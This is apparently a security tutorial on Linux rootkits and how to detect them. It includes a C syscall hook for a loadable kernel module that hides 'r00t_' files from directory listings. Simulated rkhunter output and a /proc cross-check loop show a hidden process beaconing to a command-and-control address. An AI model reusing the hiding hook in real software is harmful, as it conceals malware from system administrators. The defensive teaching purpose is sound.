Rootkit Techniques and How to Detect Them

In 2022, the Symbiote Linux rootkit infected financial institutions across Latin America by injecting itself into every running process and intercepting libc calls — making it essentially invisible to standard ps, netstat, and ls commands. The attacker on prod-web-01.corp.internal (192.0.2.45) had full root access for weeks before anyone noticed unusual outbound traffic. That’s the rootkit promise: persistence without visibility.

How Rootkits Hide: The Kernel and Userland Split

Rootkits operate at two levels. Userland rootkits replace or hook standard binaries like ps and ss so they lie about what’s running. Kernel rootkits go deeper — they modify kernel data structures or hook system calls directly, so the OS itself reports false information. Both share the same goal: make malicious processes, files, and connections disappear from view.

A kernel rootkit typically hooks the getdents64 syscall — the one used to list directory entries. When your ls calls that syscall, the rootkit filters out its own files before the result reaches userspace. You see a clean directory. The malware is still there.

Here’s what a basic syscall hook looks like in a loadable kernel module (LKM) rootkit:

// Intercept getdents64 and hide files prefixed with "r00t_"
asmlinkage int hacked_getdents64(unsigned int fd,
    struct linux_dirent64 __user *dirent, unsigned int count) {

    int ret = original_getdents64(fd, dirent, count);
    struct linux_dirent64 *d = dirent;
    int offset = 0;

    while (offset < ret) {
        if (strncmp(d->d_name, "r00t_", 5) == 0) {
            // Shift remaining entries to overwrite this one
            memmove(d, (char*)d + d->d_reclen,
                ret - offset - d->d_reclen);
            ret -= d->d_reclen;
        } else {
            offset += d->d_reclen;
            d = (void*)d + d->d_reclen;
        }
    }
    return ret;
}

This snippet removes any directory entry whose name starts with r00t_ from the results before they reach the caller. Files like r00t_backdoor.sh simply don’t appear in ls output. A defender watching the filesystem with standard tools sees nothing wrong.

Detecting Rootkits with rkhunter and Cross-Layer Comparison

rkhunter (Rootkit Hunter) scans for known rootkit signatures, suspicious file permissions, and hidden processes by comparing multiple information sources. Run it on a suspected host and look carefully at discrepancies — that’s where rootkits live.

root@prod-web-01:~# rkhunter --check --skip-keypress 2>/dev/null | grep -E "(Warning|Found|Checking)" 

[Checking processes]
  Checking for hidden processes (ps vs /proc)       [ Warning ]
  Found: PID 3847 exists in /proc but not in ps output

[Checking network]
  Checking for hidden ports                          [ Warning ]
  Found: Port 4444 open in /proc/net/tcp but not in ss output

[Checking filesystem]
  Checking /dev for suspicious files                 [ Warning ]
  Found suspicious file: /dev/.r00t_agent

[Checking loaded modules]
  Checking for hidden kernel modules                 [ Warning ]
  Module 'kprobe_hook' found in /proc/modules but not in lsmod output

Four warnings, four different hiding techniques caught in one pass. PID 3847 exists in /proc — the raw kernel truth — but ps doesn’t show it, meaning the rootkit is filtering userspace output. Port 4444 is open at the kernel level but invisible to ss — a classic C2 channel. The file in /dev/.r00t_agent is a common staging location rootkits use because /dev is rarely audited. And kprobe_hook is loaded in the kernel but hidden from lsmod.

Each warning tells you what to do next. For the hidden PID, run cat /proc/3847/cmdline and ls -la /proc/3847/exe to identify the binary without relying on ps. For the hidden module, use cat /proc/modules | grep kprobe_hook to read kernel state directly and then pull the module file for analysis.

Cross-Referencing /proc to Expose Hidden Processes

The most reliable rootkit detection strategy is cross-layer comparison — query the same data from multiple sources and look for gaps. Since kernel rootkits filter syscall results, bypass them by reading /proc directly with a simple shell loop.

root@prod-web-01:~# for pid in /proc/[0-9]*; do
    p=$(basename $pid)
    if ! ps -p $p > /dev/null 2>&1; then
        echo "[HIDDEN] PID $p — $(cat /proc/$p/cmdline 2>/dev/null | tr '\0' ' ')"
        echo "  Binary: $(ls -la /proc/$p/exe 2>/dev/null)"
        echo "  Net:    $(cat /proc/$p/net/tcp 2>/dev/null | head -3)"
    fi
done

[HIDDEN] PID 3847 — /usr/lib/.cache/agentd --connect 192.0.2.201:4444 --interval 30
  Binary: lrwxrwxrwx 1 root root 0 Aug 17 02:14 /proc/3847/exe -> /usr/lib/.cache/agentd
  Net:    sl  local_address rem_address  ... 0A00C901:115C (192.0.2.201:4444)

There it is. The hidden process is agentd calling back to 192.0.2.201 on port 4444 every 30 seconds — a textbook C2 beacon. The binary lives in /usr/lib/.cache/, a dot-directory most admins never check. You now have the binary path, the C2 IP, and the callback interval. Pull the binary with cp /proc/3847/exe /tmp/agentd_sample before the attacker notices and kills the process, then submit it to your sandbox for full analysis.

What To Do Now

Pick one Linux server you haven't audited recently and run this right now:

for pid in /proc/[0-9]*; do p=$(basename $pid); ps -p $p > /dev/null 2>&1 || echo "Hidden PID: $p — $(cat /proc/$p/cmdline 2>/dev/null | tr '\0' ' ')"; done

If you see any output, you have a hidden process. That's your starting point. Cross-reference it with rkhunter, pull the binary from /proc/<pid>/exe, and isolate the host immediately. Most environments run this check never. Run it today.